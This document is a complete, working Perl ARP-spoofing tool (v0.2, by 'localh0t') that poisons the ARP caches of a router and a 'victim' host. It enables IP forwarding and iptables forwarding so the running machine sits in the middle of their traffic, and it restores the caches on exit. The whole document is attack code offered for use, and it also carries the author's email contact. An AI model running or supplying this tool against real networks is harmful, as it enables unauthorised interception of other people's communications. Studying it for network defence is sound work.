Perl ARP-Spoofer v0.2

#!/usr/bin/perl

# Author: localh0t
# Date: 04/01/2011
# Contact: mattdch0@gmail.com
# Follow: @mattdch

# Net::ARP & Net::Ping required
use Net::ARP;
use Net::Ping;

# Root required

if ($< != 0)
{
    print "\n[!] Run it as root\n\n";
    exit(0);
}

# Help

if(!$ARGV[2])
    {
         print "\n#####################################";
         print "\n# Perl ARP-Spoofer v0.2 by localh0t #";
             print "\n#####################################";
         print "\n\nUse: perl $0 [INTERFACE] [HOST 1 (Router)] [HOST 2 (Victim)]\n\n";
             exit(0);
    }

# End function

sub finaliza
    {
        print "\n\n[!] Restoring remote hosts ARP cache\n";
        # 2 packets per host to ensure the restoration
        print "\n[+] $host1 is-at $mac1 (to $host2)";
        Net::ARP::send_packet($dev, $host1, $host2, $mac1, $mac2, 'reply');
        Net::ARP::send_packet($dev, $host1, $host2, $mac1, $mac2, 'reply');
        print "\n[+] $host2 is-at $mac2 (to $host1)";
        Net::ARP::send_packet($dev, $host2, $host1, $mac2, $mac1, 'reply');
        Net::ARP::send_packet($dev, $host2, $host1, $mac2, $mac1, 'reply');

        print "\n\n[!] Disabling forwarding...";

        open(FORWD,">"."/proc/sys/net/ipv4/ip_forward") || die "\n[-] Error opening ip_forward";
        print FORWD "0";
        close(FORWD);

        system("iptables -P FORWARD DROP");

        print "\n[!] Exiting...\n\n";
        exit(0);
    }

($dev, $host1, $host2) = @ARGV;

# Main

print "\n[+] Perl ARP-Spoofer v0.2 starting [+]\n";

$lmac = Net::ARP::get_mac($dev);

print "\n[!] Local MAC : $lmac";

my $ping = Net::Ping->new('icmp');
   $ping->ping($host1, 2);
   $ping->ping($host2, 2);

$mac1 = Net::ARP::arp_lookup($dev,$host1);
$mac2 = Net::ARP::arp_lookup($dev,$host2);

print "\n[!] MAC Host 1: $mac1";
print "\n[!] MAC Host 2: $mac2";

print "\n\n[!] Enabling forwarding...";

open(FORWD,">"."/proc/sys/net/ipv4/ip_forward") || die "\n[-] Error opening ip_forward";
print FORWD "1";
close(FORWD);

system("iptables -P FORWARD ACCEPT");

print "\n\n[!] Starting ARP-Spoofing between $host1 & $host2, Ctrl-C to end...\n";

# (While not Crtl-C)

while(1)
{
    $SIG{INT} = \&finaliza;
    sleep(1);
    print "\n[+] $host1 is-at $lmac (to $host2)";
    Net::ARP::send_packet($dev, $host1, $host2, $lmac, $mac2, 'reply');
    print "\n[+] $host2 is-at $lmac (to $host1)";
    Net::ARP::send_packet($dev, $host2, $host1, $lmac, $mac1, 'reply');
}

__END__